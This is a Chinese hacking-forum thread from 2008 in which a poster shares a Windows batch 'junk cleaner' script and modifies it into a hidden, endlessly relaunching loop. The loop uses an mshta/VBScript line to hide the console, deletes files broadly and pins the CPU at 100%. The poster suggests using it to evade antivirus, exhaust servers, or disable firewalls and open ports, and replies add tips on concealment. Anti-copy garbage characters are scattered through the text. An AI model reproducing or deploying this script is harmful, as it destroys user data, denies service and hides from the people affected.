Board logo

标题: 【原创】再谈垃圾清除的批处理和其流氓运用! [打印本页]

作者: 平湖秋月    时间: 2008-9-13 23:51     标题: 【原创】再谈垃圾清除的批处理和其流氓运用!

大家经常会看到这个垃圾清除的的BAT程序,也就是很多人所说的30秒清除所有的系统他及程序    说实话这个批处理效果确实不错 ,速度快而且不重不漏!系统这下减了不少肥。不过我觉得这个BAT还是有点不很完善,要是能够自动检测系统中的垃圾文件并且删除那该多好啊!9 Z" \7 u$ W+ Y+ D- B
a.bat源代码如下:" _8 f/ U5 j6 t: B6 y
/ ~8 o* G# }0 O9 y5 T
- A7 y, U) C# @. d1 u$ L
===可以直接保存改名a.bat=====================
  G; S! D9 u; {: p, L7 [. E@echo off! D+ D+ d2 L$ h3 T# _1 N8 R4 E) s" t
echo 正在清除系统垃圾文件,请稍等......
& d# h; p* b- V# U# n; n@del /f /s /q %systemdrive%\*.tmp
$ {! p! F4 m0 G9 _6 V@del /f /s /q %systemdrive%\*._mp
3 a6 W' u6 P- f1 W* f2 e@del /f /s /q %systemdrive%\*.log 0 s* P' G8 y+ p! n! ^* L
@del /f /s /q %systemdrive%\*.gid " l% S+ L8 V% E$ U+ k
@del /f /s /q %systemdrive%\*.chk " K' C0 b+ L" _$ {6 w
@del /f /s /q %systemdrive%\*.old
8 I" g0 A0 c6 T# q% m& R' T@del /f /s /q %systemdrive%\recycled\*.*
- `+ R0 p; m: M4 u9 e@del /f /s /q %windir%\*.bak 8 L- M* b( R0 Z$ m' ~
@del /f /s /q %windir%\prefetch\*.* : P% [0 I6 o  B  W/ e- |
@rd /s /q %windir%\temp & md %windir%\temp
% N* V' z- s2 z: A8 P7 T0 x  y" u@del /f /q %userprofile%\cookies\*.* & ]7 ]' ^+ }+ S% T* f3 Q) O: T, Y
@del /f /q %userprofile%\recent\*.*
2 Q5 M# O9 A: [, P/ E@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
+ I$ D- l/ {$ @7 U* _4 D1 }@del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
2 r5 ?1 K; R' w. u@del /f /s /q "%userprofile%\recent\*.*"
: e% a( c$ f9 I; ~echo 清除系统LJ完成!

9 t: k! [  J1 j0 D! \) M其实简单的一句话便实现了那个功能,在“echo 清除系统LJ完成!”后面加上一句 “call a.bat”就OK了,命令的意思大家都懂,我就不做解释了!我运行了一下,到是能够自动检测和删除了,而且关掉对话框也简单,直接关闭就行了!但是如果 被当作入侵工具却又点太暴露,并且那个DOS框始终不能隐藏,很容易被发现.这该怎么办?想想批处理里面的命令,貌似没见到有隐藏对话框的用法(如果有请告诉指教一下!我的QQ:118122875),于是到网上找了一下,决定用VBS代码实现,于是又加上了下面的代码,其实也很简单,也就加了一句话进去:9 t+ z8 w9 E' l) P& r# w
2 x0 Y% Y6 S3 ^$ n2 I
===可以直接保存改名为a.bat(一定要是a.bat哦具体说明原因你应该明白吧======
$ X" b) a# O: t3 P) e& `% u
@echo off
8 E: W- q  u  C' \% `* I$ Oif "%1" == "h" goto begin* Y  i, D- Z9 ?! v( ~$ n+ [5 W6 M
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
6 p; G8 w6 `8 ~* T:begin
5 {! X2 v( W, W: F( L8 L1 o) N, Lecho 正在清除系统垃圾文件,请稍等...... " M  W' x! _7 C. ]9 O; {" P1 J
@@del /f /s /q %systemdrive%\*.tmp
6 r/ l2 a" Z  q@del /f /s /q %systemdrive%\*._mp
. ?$ u9 e  }! V@del /f /s /q %systemdrive%\*.log 9 X+ ?9 z) o& [
@del /f /s /q %systemdrive%\*.gid 7 d9 G: h$ N- p, b
@del /f /s /q %systemdrive%\*.chk
6 o1 ], ?. A. ?+ a6 X; w" o@del /f /s /q %systemdrive%\*.old " l1 j& u+ Z/ O& C  P. S( g
@del /f /s /q %systemdrive%\recycled\*.*
1 A4 Z; x  y4 N# d@del /f /s /q %windir%\*.bak
5 n* L8 Z+ |- e" ]@del /f /s /q %windir%\prefetch\*.*
0 j, H$ J& ?! }5 O( [@rd /s /q %windir%\temp & md %windir%\temp
( a. D1 l6 P4 ]. t+ y@del /f /q %userprofile%\cookies\*.*
* C' e5 j4 }1 D+ }% J@del /f /q %userprofile%\recent\*.*
7 B& \( K1 v# s$ ~9 U@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
- p; O( |. g' a* v@del /f /s /q "%userprofile%\Local Settings\Temp\*.*" ' z. e  g0 y' B: Z$ A' ]
@del /f /s /q "%userprofile%\recent\*.*" ( f& B) a6 S! P& p* s; O; ~4 A
echo 清除系统LJ完成!. G. a& Q3 W% [! B
call a.bat
- u1 x1 W; z5 o  U
运行看看!什么效果?
# L9 A7 h( b  G4 G" a; w) H对话框消失了!打开任务管理器查看显示CPU运用:100%    看进程里面cmd.exe占用CPU:99     本来想删除这个进程,但是哪晓得点右键准备去删除那个cmd.exe,没有想到不见了,然后仔细一看,其实cmd.exe没有不见,但是已经PID不一样了,也就表示一个循环已经进行完毕,还没等你来的结束进程就已经进入下一个循环,这时候有的朋友会想可以用taskkill命令来删除进程,但是PID几乎是每2秒换一次,你的速度有那么快?!目前我还没找到解决的办法(高手请指教),无赖只好重新启动...哎!其实这都是雕虫小技,只不过是最基础的东西,但是有的时候最简单的也是最要命的!' g" U2 n  h* R3 u& M2 A) C8 f) n( u
& P( ]# i; J( f. r7 _
你说,我们可以利用这个BAT做些什么:
0 ?6 d* J$ K) b$ _1 D1 v  h/ q1 G' N
1.因为bat文件可以躲过杀软!这样利用它的无限循环启动一些你自己的程序,当然咯,重复的循环安装时没有必要的,我只是打个比方,你可以自己改动代码达到自己的目的!
9 w! T$ T( |) m2 a% {. }0 r2.它循环使用消耗资源,如果这样的程序多弄几个,全部启动.你说服务器会怎么样?1 q/ {7 L( U# N& t: M" H
3.如果我把里面的删除垃圾文件的代码换成关闭防护墙/杀毒和开系统端口和服务的代码,那不是更好?当然这些应用都是我个人的一些分析,没有真正的实验过,我想一个可以成功的通过~不过,这个小东西还有个美中不足,cmd.exe在进程里面看得到,至于怎么隐藏,那就请各位高手指教了,在下刚刚接触批处理,莱鸟一个,有什么不对的地方和我联系啊!我的QQ:118122875 平湖秋月

作者: 上帝的爱    时间: 2008-9-14 05:03

想法非常不错
作者: 柔肠寸断    时间: 2008-9-14 17:34

打个岔,流氓的应用,呵呵
作者: 柔肠寸断    时间: 2008-9-14 17:38

现在来正经的回答下问题:. i- C1 h0 _- X% \( \
1、在bat下隐藏对话框,可以使用一个参数的,但是我记不得了& G- M$ z2 U9 S% h

- \! v; s7 q. y* q2、可以将bat转换成exe格式的文件啊,使用bat2exe,下次我找到了就发出来哈
作者: 问道小生    时间: 2008-9-14 19:03

其实这个批处理还有一个问题,就是把log文件一律也作为垃圾处理了~~~: {9 i0 _, J* h
部分软件卸载是需要log文件的,删除了它,就会造成软件无法正常卸载,或者卸载不干净。因此,log文件并不是垃圾,不同软件计录的log文件有着不同的作用,有的甚至是非常重要的,不是可以随便删除的,例如:一张CD碟片就有一个log日志文件,它主要记录EAC对CD抓轨的各项参数。
作者: 平湖秋月    时间: 2008-9-15 21:43

楼上的你们说的都有道理 理论上是成立的 我有时间试试看




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2